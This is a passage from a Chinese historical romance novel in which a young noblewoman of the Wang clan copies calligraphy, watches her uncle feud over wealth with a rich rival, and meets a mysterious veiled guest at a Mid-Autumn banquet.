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他封为归命侯,上朝的时候就在大殿一侧放了一只胡床,对他道,这坐位我为你准备多年,你终于来坐了。就是这只胡床,除了南朝皇帝坐过,它本身也是件稀世之宝,镶嵌宝石之名贵,工艺之精美,堪称一绝,武皇帝就是要用这胡床讽他奢靡亡国……我可是费了不少周折,才弄到手的!”
“原来是归命侯坐的,此物不祥,我不要也罢。”
“呵呵,这胡床可是一对的。当时归命侯就坐在上面对武皇帝说,真是巧事,我在建康宫中也为陛下准备了一只,等您来坐。南渡以后,太子真就在他的书房里找到了归命侯当年为武皇帝打造的胡床。叹曰:三十年河东,三十年河西,此事不过半个甲子,就有人来坐了。自此以后,太子春诵夏弦,用得都是这只胡床。”
六叔接着道:“当年晋室内乱,死了不少皇族贵戚,氐人李钟、李鼎兄弟在巴蜀自立,匈奴人刘圭又趁势南侵,眼看国将倾覆,五王过江避难,西阳王、汝阳王、南顿王、彭城王,四王手里多少有些兵权,惟琅邪王一无所有,只从他父亲那里继了个王爷的虚衔。怀帝崩殂,四王争相自立,可谁能料到,最后却是最不可能的人登上了南朝的皇位。当今圣上之所以有今日,是因为你大伯从中周旋,为他出谋划策,又因你二伯手里有一支荆州兵可以差遣。琅邪王氏拥立新主功不可没,当年登基大典上,皇上还要拉着你大伯分席而坐呢。从武帝时代起,不以王为后,便以王为相。到了这朝,皇后将相全都出自我王家人,朝中更有一多半的官员是我王氏亲信。狸奴有没有听过那首童谣?”
“五马浮渡江,一马化成龙。王马共天下,后有白牛继……这童谣我听过,原来说的是这件事。可最后一句‘后有白牛继’说得又是什么呢?”
“这首童谣武帝在的时候就有了,谶纬之学,不可全信,也不可不信。武皇帝为此杀了他手下的牛姓丞相,因为当年武皇帝自己也当过宰相。所以,你大伯是死也不肯坐那龙席的,龙心难测,只怕皇上哪天就回过味儿来了。”
六叔话锋一转:“狸奴可知不但这朝的皇后,就是下一朝的国母也是我王家人呢。三嫂生你的时候,曾有宫中术士来看,他道:此女安贞之吉,应地无疆。陛下曾因此谶言许诺皇后,将来立你为太子妃。”
这话我也听过,只是从未当真。几百年来,星气、谶纬之学盛行,可在我看来,那些方术之士多是事后诸葛。即便真的有人洞悉天机,所下谶言也是闪烁其辞,绝不会让人轻易了悟。我想皇帝也是不信的吧。况且,十几年前随口说的事,兴许他自己都忘了,怎么还有这么多人惦记着。
六叔双手一摊,对我皮皮笑道:“我费了这么大力气弄来的东西,原想让你和太子凑成一对的,没想被大哥烧了。”
“六叔胡说什么!什么凑成一对?大伯尚不敢和皇上平起平坐,你却弄这种东西来,小心我告诉大伯去!”六叔最怵大伯,此刻也只有抬出他老人家来,才能管住他这张嘴。
“好好好!”六叔佯装告饶,“我若被你大伯打死了,谁还替你去找卫夫人的帖子?”
“你又新得了卫夫人的墨宝?”我高兴起来,摇扯他的衣袖,“六叔最疼狸奴,快给我看看嘛!”
六叔去翻找帖子,我才发现顾先生早已离去,只在案上留了一枝白荼蘼。此花开后百花杀,可这末路之花,又怎会开在七月?我俯身去拾,才发现那只是金描笺上的一幅画儿。
5. 第四章 玉树照后^_^庭
玉阶寒声碎,尘香覆罗袜。
画堂下卷帘,玲珑闲看月。
梧桐叶落,碧纱秋月,眼前的景致最让人想起顾先生的句子。
一诗写罢,我退下已经磨秃的笔头,玲珑将用下的笔头收进罐子里,轻轻摇了摇:“小姐,又快存满一罐了呢。”绣球听见声响,以为玲珑逗它玩耍,摇着尾巴,张牙舞爪地扑过来。
我拍开猫头,甩了甩已经酸疼的右手,又换左手写了几行。“玲珑,这是第几罐了?”
“我数数……小姐,左手十罐,右手二十罐。”
我看看右手写的字,又比比左手的,叹道:“顾先生说得对,我的这只手没有天分,就算写到笔成冢、墨成池,也是枉然。玲珑……”我喃喃道,“我不想再用右手写字了,左手是老天爷给的,如果不用,岂不是暴殄天物,管别人怎么笑话我呢。”
玲珑抿抿嘴,凑上前来看我的字:“我看没什么差嘛,小姐哪知手写得都好看。”她指着“玲珑”二字欢喜道:“这是我的名字吧?小姐写得就是好看!”
我笑起来,玲珑天天跟着我,也识了几筐字,最早会写的就是自己的名字。玲珑二字是牧哥哥给取的,南渡那年,牧哥哥在路边救回了已经饿得奄奄一息的玲珑。那时,我母亲妊娠,父亲身体又不好,身边正缺人手照顾,玲珑就交由阿代嬷嬷带着,在王家做起了丫鬟。我曾问她,可是因你生得娇小可人,牧哥哥才给你取了这样的名字?她道:“那时少爷问我叫什么名字,穷人家的小孩哪有什么名字,我就是连自己姓什么都不知道了。少爷说,那就叫玲珑吧,玲珑有半边王字,以后你就是我王家人了。”
我抽了一张苔纸,用正书写下“玲珑”二字,又将笔让给她:“你来写写看。”
她的脸又红了,接过笔,认认真真地临摹。玲珑最宝贝她这两个字,我常看她以手书空,一写到纸上,果见其训练有素。南北两朝皆盛行佛教,我在寺里见过一些不认识字的妇人抄写的经书,字迹便是如此,是一种璞玉浑金般的天然纯粹。“真好看!”我赞道。
“小姐又笑我。”玲珑赶忙将她写的字收起来,又小心拿过那张苔纸,“小姐,我见六爷老是收着您写得字,您写得就是好看。这张……不如就给我吧。”
我点头笑道:“六叔不藏我的字,都拿去烧了。”好收藏的人最忌赝品,若我临得不像,也就罢了,偏我写得可以乱真,六叔是断不会将这些东西留下来的。
以前也不曾在意,写下来的纸随手一扔,就被一些贪小利的下人偷运出去卖钱了。我的字到底火候不够,像六叔这样的行家里手还是能够一眼辨识真伪,但像石宗山这样的却不行。有一天他拿着先祖的《禊贴》来找六叔,得意道:“王家的日子过不下去了吗?怎么沦落到要变卖传家之宝了?”
自此,六叔再不把他的藏品随意借我了,他说如今外头铺天盖地的卫瓘、钟繇,好在明眼人还能分辨。现在我要临帖,必在吉光雅园里,练习下来的纸也都要烧光。尤其《禊贴》,六叔爱之如命,我若要借,必在他的眼皮底下,临摹以后,也由他亲自来烧。
玲珑藏起写着她名字的笺,卷帘向窗外张望,疑道:“今儿是怎么了,人都哪里去了?”我才意识到今日的泚园特别安静,若是那些聒噪的小丫头们在,我哪里还听得见这叶落闲阶寒声碎呢。“喜叔,这人都跑到哪里去了?”玲珑冲着修剪园圃的老奴喊道。
“玲珑姑娘啊,都跑去来燕堂看热闹了,皇后娘娘赏给六爷一棵玉树,这么高。”喜叔伸手在头顶比了比,啧啧道,“稀奇的很呢!”
我对玲珑道:“姑母最疼六叔,八成因为上回去石宗山家的事,姑母才赏他这个,让他找回点颜面。”
石宗山原是个一文不名的穷小子,打仗那会儿在荆州做了几年刺史,回来时竟成南朝首富,富可敌国。士族之家看不起这样的暴发户,有一回,六叔驾着牛车在城里和他争道,自此之后就有了嫌隙。石宗山也是个活宝,两个人面上亲密无间,要好得和亲兄弟一样,暗地里却都卯着劲。
玲珑拉着我兴奋道:“小姐,那肯定是样绝世的宝贝,您不是最喜爱玉石,我们也去瞧瞧吧。”
“好。六叔八成还在前厅谢恩呢,那里人多。我们不如去吉光雅园侯着,一会儿玉树准搬去那里。我也正好要向六叔借帖子呢。”
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梧桐衔好月,丹桂吐香风。
雅园之外也围了不少看热闹的人,刘安堵在门口轰人,见是我才换了脸色,躬身把我让进去。玲珑紧紧贴着我,生怕也被刘安挡在外头。
玉树就摆放在庭院正中,我仰头去看,不禁暗叹,树干树丫都是由整块墨玉雕刻而成,这该是多大一块玉料,这样的雕法未免也太浪费了。树冠之上绿意葱茏,满是青翠欲滴的翡翠叶子,叶子中间坠满了各色各样的宝石果子。玉树流光,我所见奇珍异宝不在少数,但此物还是不免让人从心底里生出感叹。
六叔负手站在台阶上观看,顾先生漫不经心地倚在一旁的柱子上剔牙。“狸奴,这树怎样?”六叔问。
“嗯,好看!这么稀奇的树镇在园子里,就是石宗山也得认输了。”我很识趣地答道,看六叔今天心情不错,应该舍得把《禊贴》拿出来借我临摹吧。“六叔,我是来跟您借帖子的,您忙着,我自己去拿。”
“切!”六叔嗤鼻一声,“石宗山那个暴发户懂什么?也就他会拿这些东西当宝。这树在我的吉光雅园里,也就配栽在院子里。”六叔伸出手臂,一把拦下我:“小丫头,你乱闯什么?”
“六叔最疼狸奴,借我《禊贴》!”我这年纪,嫁做人妇的都有,亏我生得小巧,撒个娇耍个赖还不打紧。
六叔想了想,道:“好吧,我今儿晚上有空,就陪你一会儿吧。”别的帖子六叔还许我随意翻看,只关照写下来的纸要烧,唯有《禊贴》,他宝贝得紧。和石宗山斗富,他是经常输阵,但若论收藏,六叔才是真正的行家。只有他最明白,如玉树这般的金银珠宝,即便是价值连城,也终归是有价的。
六叔转身进了后堂,取出《禊贴》给我,他就和顾先生就在一旁喝酒闲聊。我写完一纸,抬头问道:“顾先生,你看狸奴的字,如何?”说起来顾先生还是我书法上的启蒙老师,他给予的评价也最为中肯。
他绕到我身后看了半晌,默不做声。
我笑道:“总归差些什么吧?”
他笑着点了点头。
我又写了几个字,只听门外一阵骚动,像是有人在砸家什。刘安扯着嗓门喊:“石爷,石爷,您住手啊!……六爷,六爷,不好了!”
我搁下笔,疑道:“谁啊?”
六叔不慌不忙去收《禊贴》,像是等候已久,悠然道:“还会有谁?”他将帖子收妥,又来烧我的纸。石宗山已经闯进了门,一见六叔,朗声笑道:“六爷,听说宫里赏了宝贝,愚兄见识少,特来开开眼界。”
这人消息还真是灵通。六叔眯眼笑道:“哪来什么宝贝,娘娘三天两头赏东西,这么大的物件,我正愁没处放呢。现在还在院子里摆着,石兄进来的时候没挡着您的道吧?”
“哦,就那破树啊?果然算不上什么宝贝,听说皇后娘娘最疼你这个小弟,怎么尽赏这些不值钱的。”石宗山声音洪亮,有如地坼,一柄玄铁如意在手心里上下敲打着,颇有点示威的意思,“那
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东西挡道,刘安那小子喳喳呼呼的,我还当是砸了什么值钱的玩意儿呢?”
砸了?我瞪大双眼,心里一阵惋惜,这么好的东西。六叔的眉梢跳了一跳,似乎也不能平静:“原来是挡了石兄的道啊,叫人挪开就是了,何必砸呢?知你的人,道你看不上眼;不知你的,还以为石兄自己不衬,就去砸别人家的。”
“是是是,六爷说得是。到人家家里乱砸东西总归不好,愚兄是粗人,一时莽撞,给你赔不是了。我刚才已经叫人回去取了,还你一棵就是,我家柴房里有一堆呢,别真叫人以为我衬不起。倒是六爷您,这种小玩意儿还舍不得……”玄铁如意在六叔眼门前画了一个圈,石宗山一副涎皮赖脸的样子,还真是挺欠揍的。
六叔挑起眼梢,咬牙道:“怎么会?我只怕这事传出去,娘娘会怪罪,石兄为这点小玩意儿惹出是非,就不值得了。”
我们几个起身来到院子里,只见满目碎玉,尖锐的棱角在庭燎的映射下益发耀眼。我提起裙摆小心过去,恍惚走入瑶池,脚下铺陈的是遍地星光,华丽而奢靡。痛惜之余,竟让人产生破坏的快感。石宗山也跟了上来,手里还没有放下那柄肇事的铁如意,来回比划着。
六叔勾起嘴角,拂袖回屋。我听他咬牙念了一句:“我看你拿什么来赔!”
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石府就在乌衣巷尾,没多久就有人搬来一棵玉树,我跑出去一看,果真是一模一样的。石宗山大声吆喝着,指挥下人往院子里抬,六叔似笑非笑,表情有些生硬。我轻声叹道:“他还真本事,哪里得来的?”
“这还不明白吗?”顾先生俯身在我耳边道,“进贡到皇室的玉料玉器大多出自西域,要运到洛阳皇宫,必先经过荆州……”
先生一言,我豁然顿悟:像这样摆设在皇家庭院里的玉树,多半是一对的。和刘圭打仗那几年,朝廷自顾不暇,又逢旱魃为虐,大贼纵横,根本就管不过来。石宗山在荆州刺史任上亦官亦盗,富成现在这样,劫掠的应该不仅仅是皇家贡品,更多的还是往来客商吧。
六叔也不说话,回身进了屋子,将还没来得及烧完的纸一一丢进炭盆里。石宗山乘胜追击,跟了进来,大声嚷道:“六爷,烧什么呢?什么见不得人的?”
“焚香。”六叔抬眉看他,声有挑衅:“石兄家都焚什么香啊?”这两个冤家是卯上了,吃的用的,什么都要拿出来比较比较。
石宗山略想一下,“龙涎、丹檀、沉水……不外乎就是这些吧。怎样,你家烧的什么?”
六叔挥袖打散炭盆上袅袅升腾的青烟,轻笑道:“石兄,你这就俗气了吧,我这吉光雅园里焚得当然是墨香。今日石兄大驾光临,这个还不配,我自然要烧些好的。”他烧完最后一张,大声喊道:“刘安,去把架子上大红漆盒里的张芝十纸拿来!”
顾先生闻言,蹙眉跽坐起来,我扯了扯他的袖子,叫他安心。张芝十纸早在过江的时候就叫大伯弄丢了,六叔接手吉光雅园后,一提及此事,就少不得搓手顿足。那盒子里的十纸是我仿着张芝其他的帖子臆造出来的,讨六叔一个欢喜罢了。
刘安拿来十纸,在众人面前展示了一圈,顾先生会心一笑。石宗山是看不懂的,只好满腹狐疑地盯着六叔把纸一张一张地烧掉。六叔深吸一气,问众人:“如何?”我和顾先生只是笑,他又去问石宗山:“石兄,比你家焚的那些香如何?可闻到墨香?可觉得一下子变得满腹经纶,人也自信了许多呢?”
石宗山并不傻,知道六叔讽他肚子里没墨水,但一时又辨不出十纸真伪,也无从反驳,只好借故走了。
6. 第五章 只应天上有
我在乌衣巷里的生活,和一般朱门绣户中的小姐也没有什么两样,一大清早就要起床,先生教我读书识礼,到了下午,又有师傅来教琴棋书画,用罢晚膳,就是练字。一天一天也就这样过去了,锦衣玉食是不缺少的,但也不像坊间传得那样有声有色,有时候也觉得日子过得乏善可陈。若说有些什么不一样的,那大概就是我在棋画上的老师都是南朝冠绝一时的人物吧。只可惜我天资驽钝,两样都学不精,白白辜负了母亲和顾先生的教导。好在他们也不逼我,顾先生鼓励我写字,母亲见我在弈棋上没有什么天分,也就另择高徒了。
原先母亲教我下棋,总是玲珑在一旁伺候。我对下棋也没什么心思,老是落错子,玲珑就跟着咳嗽一声。举棋不定时,也要看她的眼色行事。越到了后来,即便她咳得肺痨一样,我也看不出名堂了,非要等最后复盘,才能明白其中奥妙。母亲说,玲珑是她见过的最有天分的孩子,于是就让她跟着一起学了。
每到学棋的日子,玲珑是最开心的,一大清早就叽叽喳喳说个不停,好不容易听她念到中午,又被她匆匆忙忙拖着出门,深怕迟了一时半刻。俩人才出泚园,就撞上刘安,他小步跑来给我问安:“小姐,六爷今天新得了索靖的帖子,叫小的给您传个话,请小姐下了学去看。”
“真的?”我欢喜道:“叫六叔务必等我,我下了学必定去的。”
刘安应了一声,转身走了,我眼巴巴看着他离开,恨不得现在就跟他一道去了。这下子是真没心思学棋了,玲珑见我拖着步子踌躇不前,急道:“小姐,还不快走,我们要迟了!”
“能不能跟母亲说一声,今天不学了?”我嘟囔道。
玲珑似乎早有准备,得意笑道:“今天可不行,今天八月初四,小姐忘了吗?”
我“唉”了一声,八月初四下棋,这原是宫里的规矩,传说每年这天汉高祖都要和戚夫人下棋,久而久之,这风俗就传到了民间。人们相信在这天里赢一盘棋,便可终年有福,输的人,却要遭疾病之灾。若想消灾倒也不难,只需取一缕头发,在当天夜里向北辰星祈愿。我心说,母亲出嫁前就是名动天下的坐隐高手了,我和她对弈,哪会有胜算?反正每年秋冬之交都有一场大风寒,既然逃不过,能换她终年有福,也是好的。
八月天里,西风渐紧,花事无多,一路行来,皆是绿肥红瘦。弈秋园的凉亭里已经摆好了棋盘,只等着我们去。母亲身着常服,外头披了件镶了狐毛的大红斗篷,正托腮对着棋谱冥思。远远望去,就像绿茵丛中一簇盛放的牡丹,只有她这朵花是常开不败的,仿佛可以游离于时光之外。与她对弈,我常常会有这样的错觉:待到起身离开时,斧柯尽烂,已是千年。
等我坐定,母亲抬手示意我先行,我执白在左手星位落了第一子,她却拿起棋盘边上的玉拨子在我的手背上拍了一下,柔声道:“换右手。”她这一下举得高,落得缓,打在手上凉凉的,并不疼。我笑嘻嘻撤回左手,又在右手星位落下一子。母亲连让我三子之后,才在天元处落下一子黑棋。
我不解道:“金角银边草肚皮,娘亲,你这一子落在中间,等于白下,为何不占剩下的一角?”母亲笑而不答,我也觉得自己问得傻气,莫说只让我三子,就是九子,结果也是一样的。我挠挠头,笑道:“娘亲既然让我,狸奴就不客气了。”于是,又拾起一枚羊脂玉,占了第四角……
几个回合下来,手上已经挨了好几下。博弈重在心无杂念,我的心思早就不在棋盘上头了,只想早早了局,好去六叔那里看他新得的帖子。我心不在焉,抬手欲落一子,只听玲珑一声咳,再看一眼局面,才发现这子一旦落下,等于自断前程。不过举手无悔,这点棋品我还是有的,况且,我也着实没有求胜的意志了。我看了玲珑一眼,佯装不解,将这一子郑重落到棋盘上。母亲不慌不忙又落了一子,竟放出一条活路,让我逃出生天。不过今日里我是求负心切,赢棋不容易,输棋还办不到吗?
只可惜事与愿违,我自断一路,母亲就活我一路。下到最后,玲珑一数棋盘上的棋子,我竟以一子胜出。“娘亲,你又让我!”我心里赞叹,以母亲之棋力,还不是想赢就赢,想输就输,就连胜负多少都能算得将将好。
母亲含笑看我,松开髻子,从阿代嬷嬷手里取过剪子,剪了一缕头发放在托盘里。我心头一酸,扑进母亲温软的怀里,迎面一阵桂花的馨香,我粘腻道:“好娘亲,我不去六叔那里了,狸奴陪着您,和娘亲一起等北辰星。”
阿代嬷嬷送来一盘鲜枣,我就着茶吃了几只,玲珑已经丝毫不差地将刚才的棋局复盘,她这一手功夫我恐怕一辈子也学不来了。母亲在旁一一作解,玲珑不停点头称是,想是受益匪浅。仨人又解了几盘死活棋,天就昏暗了。照说这个季节里,黑夜不该来得这么早。
果然,天空中淅淅沥沥下起一阵烟雨,雨势不大,雾蒙蒙的,在凉亭之外裹上了一层薄纱。秋风乍起,母亲赶忙解下身上的昭君斗篷给我围上,催促道:“快回园子里去吧,别又受了凉。”
天公不作美,我心里难受,却也无可奈何。别过母亲,想着这场棋总归是不算数的,孰胜孰负,老天爷应该看得明白,脚下却不自觉得往吉光雅园去了。
“小姐。”玲珑喊住我,示意我走错了路。
我谄笑道:“就让我去看一眼索靖的帖子吧,不然今儿晚上是睡不安稳的。”
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刘安蜷在门房里打盹,六叔应该还在园中,我径直往禊堂去,绕过六尺素屏,只见他赤着白皙的足站在绘着红色大丽花的波斯地毯上,水佩风裳,黑发如墨,流泻至地,手中捧着一幅卷轴,正看得痴迷。美人如画,此情此景,倒真有些舍不得惊动,生怕一出声,眼前仙子便要羽化飞升。
“六叔。”我轻声唤道,终究是抵不过索靖墨宝的诱惑,他若
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是真的飞走了,就没人老是霸着《禊贴》了吧?
“狸奴来了。”六叔侧过头,好像还没从画中回神,眼中有秋水盈盈,他抬手招呼我:“狸奴来看痴人新作。”
我凑上前去,见画卷上一绝美男子,玄衣玉带,负手而立,他的头微微仰起,下颚、唇、鼻子,线条亦刚亦柔,几近完美。我从来没有见过这么漂亮的男人,即便是画,就是被人称作“谪仙”的六叔,如此看来,也要逊色几分。画中人似在观星,又似沉思,抑或在听林泉鸟语,嗅袭人花香,感受春风拂面,表情变化莫测,难以琢磨。不得不叹,顾先生有神来之笔!
“怎么又不画眼睛?”我指着画轴问。
手指立刻被六叔拍开,“痴人说,画不得,画不得……”他微微攒眉,喃喃道,又用指尖无限流连地摩娑着画中留白之处。
听这话似乎颇有玄机,可惜我悟不出。“是你给得银子不够吧?”我道。
六叔抬眼看我,伸出一只手比了比,“怎么不够,单这画我就给了这个数!”
我“噫”了一声,“那眼睛呢,又要多少?”
“就这个数,他也不肯卖我,总之他就是死活不卖,还谈什么眼睛?”
“那这画……”
六叔露出一脸孩子般的坏笑,狡黠道:“我趁他没注意,偷出来的。”
我又“噫”了一声,“顾先生常说,肖像画的关键就在眼睛,若是画得不好,不如不画。此人只应天上有,这回只怕是先生也画不出来了吧!”
六叔点头称是,眼睛始终也不肯离开画中人,我只得大声提醒道:“六叔,我是来看索靖帖子的,你不是忘了吧?”
“在架子上,自己去拿……”见他说得漫不经心,我一溜烟跑进后堂,不知道今天把《禊贴》偷出去,会不会被他发现?
六叔的禊堂果然珍奇无数,我秉烛畅游,正看得痴迷,玲珑就来催我:“小姐,您和六爷,一个画痴,一个书呆,今儿都傻了吧?这都什么时辰了,快和我回去休息吧。被阿代嬷嬷知道,我又要挨骂。”玲珑拉着我直往外走,我还来不及反应,又被六叔叫住:“狸奴,这可不好!”他朝我手里看了一眼,我才想起手里还拿着索靖的帖子。
“是玲珑催得急,我忘了。”我将帖子合好,摆回几案上,又朝他手里的画看了一眼,心里好笑,倒由得你来教训我。“六叔,明儿我还来的。”
“明天我没空。”他见我嘟嘴,摆摆手道:“罢罢罢,这帖子借你一日吧,记得临完的纸要烧,记得别弄坏了,记得准时还回来,你若没信用,下回……”
“是是是!我哪回没信用了,我就是再没信用,也不敢和您耍花枪啊。”我赶忙收好帖子,辞了六叔,欢欢喜喜往泚园去。
秋雨暂歇,催折落红无数。夜风已有微凉,吹在身上一阵哆嗦,像是醒了酒。抬头看天,北辰星已高高悬在空中,不知母亲有没有忘记许愿。无端想起那幅画来,那绝美男子的眼睛是不是该像这星子一样明亮?
7. 第六章 相逢画中人
六叔的东西,我必定有借有还,是万万不敢和他耍赖的。只可惜连着几天都没有找到人,交在别人手里又不放心,只得在我这里存放几日。向人打听,才知六叔近来迷上了赌石,成天泡在堵石场里,连家也不肯回。
好不容易在王府门口堵上刘安,问他六叔几时回来,他也只推说吃不准。
“六叔并不精通赌石,即便是行家,也是十赌九输……这么些日子了,他赌中几块?”
刘安笑得诡异:“小姐,六爷一块石头也没买。六爷只命小的回来取件袍子,可不敢耽搁了。”
六叔不在家里,我便借不到其他帖子,闷了好几日,直到中秋佳节,府里举行拜月宴,才听人说他要回来。王府里一年一度的中秋会,请的都是达官显要,风流名士,这样的场面,六叔是不能缺席的,就是抓,大伯也会把他抓回来。
我拿着索靖的帖子往吉光雅园去,可要趁他人还在园子里,再借些宝贝出来,省得过了节,又找不见人。
兴冲冲进了禊堂,迎面就是顾先生的画,玄衣男子背对着门,长发如瀑,飞流而下。我未及看清,就嚷道:“六叔,您可回来了!”
那男子闻言,侧转身来,我才发现此人高出六叔一个头去,并不是六叔。再看一眼,便惊得合不拢嘴了,顾先生的画当着活了?眼前人韶颜雅容,与墙上卷轴如出一辙,吴带当风,盈盈若舞,玄衣之下,露出肤如堆雪,幽幽泛着珍珠般的光泽,叫人疑心是今夜月华凝练。
我直觉去看他的眼睛,可惜眼上覆着一层青纱,怪不得先生不画眼睛,原来此人是目盲的。
“你找王琳?他在后堂。”那人微微俯身,声如凤鸣。
“你是谁?”我想那人是看不见的,便有些肆无忌惮,绕了个圈,直直地盯着他瞧,心中暗叹,这世上怎么会有这么好看的人?
“在下元烈,小姐是……南谢之女?”这人会听声辨位吗,好像知道我在哪里,又让我觉得青纱之后,仿佛有灼灼眼光正盯着我瞧。
“嗯,小女子王敏。元公子认得顾怡先生?你看他画得……”我转念一想,立刻放下抬起的手臂,尴尬道:“对不起,呃……”
他温言道:“在下和顾先生有一面之缘,是画得挺像的。”他转脸看画,又回头对着我笑:“我的眼睛只是畏光,才需青纱遮掩,我能看见东西,并不是瞎。”
“呃……”想起适才甚是无礼,都被他看了去吧,我暗暗吐舌,这下更不知道要说什么了。
只见他从袖袋中掏出一块灰扑扑的石头,递到我面前:“这个送给小姐,不知怎的,觉得它很适合小姐呢。”
身旁玲珑闻言,立马上前一步,脸已经涨得通红,一副要拼死护主的样子。我是南谢之女,常有人背地里笑我其貌不扬,可像他这样明目张胆讽刺我的,倒是第一人。
我笑着接过石头,他的手掌还真大,石头在他手中只是盈盈一握,到我手里却要双手捧住。再看他身骨健硕,不像是南朝公子,可这玉濯肌肤,也不像是北方男儿。我笑言:“难怪六叔这几日都不回家,原来是和元公子去赌石了……元公子以为这块石头里是什么?”
元烈微微一笑,便有倾城之姿。“元某既花重金买下这块石头,必然以为其中是美玉无瑕啦。”
“那么多谢元公子了。”我对自己的相貌如何已经看得淡了,但听他如此说,心中还是不免欢喜,“元公子赌石多久了?”
“这是第一次。”他道。
我将石头在手中掂了掂,苦笑一下,看来这石头破开,多半还是一堆石头吧。元烈又道:“嗯……小姐既收了我的礼,元某厚颜,想索要小姐一样回礼。”
我呵呵笑出了声:“原来元公子是这样赌石的,倒是稳赚不赔呢。元公子想要什么回礼?”
“就要小姐身上一件首饰吧……元某也不白要,既然这是块赌石,那我和小姐就再赌上一局好了,小姐输了,我才拣选一样。”
我戴在身上的多半是上好的玉石,不过也没有哪件是舍不得给人的,我见这人倒是很有趣,也就应了:“好吧,元公子想怎么赌法呢?”
元烈一笑:“南谢是手谈高手,想必小姐的棋力也不会太弱,就赌一盘棋吧,这不算我元某欺负人吧?”
“好啊。”我爽快答应。一来,也不是非赢不可的赌局;二来,我的棋力虽不比玲珑,但出了母亲的弈秋园,也是能和人对上几局的;三来,我身边有玲珑这样的军师,就只怕一整个建康城里都鲜有对手了。
正想开局,六叔就从后堂捧了字画出来,我一眼就看见那只象牙盒子,里面放得正是《禊贴》。六叔满面堆笑:“元兄,小弟拙藏,请元兄鉴赏。”我退开一边,心中暗想,这些宝贝就是我来借,也需甜言蜜语费番功夫。从来就只有别人讨好六叔的份儿,倒不见他这样讨好一个人呢。
我悄悄挨过去,才伸出手,就遭六叔一掌拍开。我吃痛一声,看样子是要转转风向了:“元公子也喜欢书画?”
“听说小姐书法一绝。”元烈微微侧身,做了个“请”的意思,我嘴上连声道:“不敢当,不敢当”,整个人就差点没扑上去了。
“这是《禊贴》。”我介绍道,“吉光雅园镇园之宝!”我细细展开先祖宝帖,眼睛便再也离不开了。
“这小丫头!”六叔嗔怪一声,摊开手对元烈道:“元兄,开门就见沧海之水,巫山之云,余下的,可就不足为观了。”
“无妨。”元烈也被这帖吸引过来,俯身细看,我也顾不得男女之嫌,两颗脑袋就紧紧凑在了一处。正看得专注,元烈猛然抬手,声有微愠:“王兄!”
我抬眼一看,六叔贴得极近,欲伸手去揭元烈眼上的青纱,却被元烈捏住了手腕。六叔不依,还想用强,元烈只是微微施力,他便吃痛起来。元烈按下他的手,缓声道:“王兄这是为何?我有眼疾,不能见强光。”
“只一眼,今夜月光澄清,我吹熄蜡烛好了。”六叔轻声诱哄,双眼风情脉脉。
“六爷!”元烈不怒自威,仿佛有种与生俱来的高高在上的气势,震得六叔不敢再动。
与此同时,角落里闪出一道人
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影,直扑而来,行动犹如黑豹般迅捷,吓出我一声尖叫。那少年肤如碳墨,又浑身黑衣,刚才一直躲在暗处,我倒没有发现。他在元烈脚边跪倒,唤了声“主人”。元烈示意他无事,他起身狠狠瞪了六叔一眼,才慢慢退去。我咳嗽一声,想缓和一下气氛,顺便也给自己压压惊。
“吓到小姐了吧,他叫墨童,是我的仆从。”元烈道。我点点头,墨童相貌异于常人,王府里也有这样的人,是来自西域的昆仑奴。今日里吓到我的倒不是他,却是六叔。
“六叔,宴要开了,我们还是早些过去吧,免得大伯寻你。”我出面打个圆场,也省得尴尬。
六叔收妥了书画,欲携元烈的手出园赴宴,元烈取出腰间的折扇扇风,不动声色地将他挥开了。那折扇本身并没有什么特别之处,可上头所题的一阕《短歌行》却引起了我的兴趣。一笔章草,笔力遒劲,浑然天成,一时也瞧不出是哪位名家的手笔,我不由自主凑上前去,想看个分明。
“小姐喜欢?”元烈摊开扇子摆在我面前,我伸手就拿,不禁感叹:“好字!真是好字!”落款是一枚黑色的印章,刻了一个“兕”字。我迅速将所知的书法大家在脑子里翻滚一遍,一时倒也看不出名堂。
“莫非是青兕先生的手笔?”六叔伸长了脖子,似乎也不能确认。
白石青兕,得一人者得天下。白石先生在北朝为官,青兕先生隐居山林,避世不出,鲜少有人知道他的踪迹。“这真是青兕先生所书?”青兕墨迹,我和六叔都是头一回见,谁也不敢妄下断论,只得向元烈求证。
元烈颔首。我不禁叹道:“真是山外青山!书海无涯,我所学所习,还是太少……”我端详扇面许久,“元公子认得青兕先生?”
“认得。”
我咯咯笑出了声。
元烈侧耳:“小姐为何发笑?”
“青兕先生天下闻名,多少人想见而不得见。都说字如其人,今日得见先生墨宝,王敏就好像看见先生本人了。”
“哦?”青纱抖动,元烈挑了挑眉毛,道:“愿闻其详。”
我故作正色:“那老头子一个人住在林子里,一定憋闷得慌!”
元烈闻言,略顿了一下,随后哈哈大笑起来:“小姐所言甚是,甚是!”
我一路都捧着元烈的扇子,看了又看,爱不释手。还未走到前厅,耳边已闻歌舞喧闹。绣球不知从哪里窜出来的,掠过我的脚面,我一时没看清楚,直觉跺了跺脚。身后又窜出一道黑影,一把将绣球擒住,是墨童。小家伙呲牙叫了一声。“是我的猫。”我忙道。玲珑去接,墨童才小心地将绣球交在她手上。
元烈收住脚步,伸手向我索要扇子,我迟疑半刻,才心有不甘地将它归还。哎,今天我和六叔这两个强盗,大约是把王家的颜面都丢尽了吧。
元烈收了扇子,温言道:“小姐,我们还差一盘棋呢,承蒙小姐不弃,这把扇子也充做赌资好了。”
“那就一言为定!”我高兴起来,原先也没那么在意输赢,现在为这把扇子,倒生出斗志了。
8. 第七章 月圆又中秋
“凤兮凤兮归故乡,遨游四海求其凰。时未遇兮无所将,何悟今兮升斯堂……”
画阑曲径,一路踏歌而行,绕出九曲回廊,眼前豁然明亮。来燕堂前,珠箔银屏,玉馔珍馐,台下已是高朋满座,觥筹交叠;台上雅歌妍舞,一曲入破,就引来喝彩声无数。我微微眯了下眼睛,纵今夕十分好月,恐也难与王府的灯火争辉了,此等场景,嫦娥应羡。
高台之上,青衣少年抚琴而歌,这一幕演得正是“琴挑文君”。六叔和着琴曲哼了几句,倒是比台上的伶人更多几分韵味。元烈抿了下嘴角,像是在笑。六叔忙不迭凑上前去,“元兄,小弟的吉光雅园中还藏了几尾琴,这曲《凤求凰》,当用‘绿绮’才好。元兄如果喜欢,宴后我就带你去看。”
我低头走路,只顾着脚上的丝履,誓要将它看出花来。元烈一定是故意的,拖着步子把我夹在中间,好拿我作挡箭牌。
“王兄,你瞧那边的是谁?好像一直在找你。”元烈举扇一指,问得状似无意。
六叔顺着他所指的方向看去,正好对上大伯的目光,“呃……是我大哥。”他抽了一下嘴角,对我道:“狸奴,元公子就烦你先照应着,我得去那里应个卯。”我点点头,元烈抬手做了个“请”,笑意似有若无。
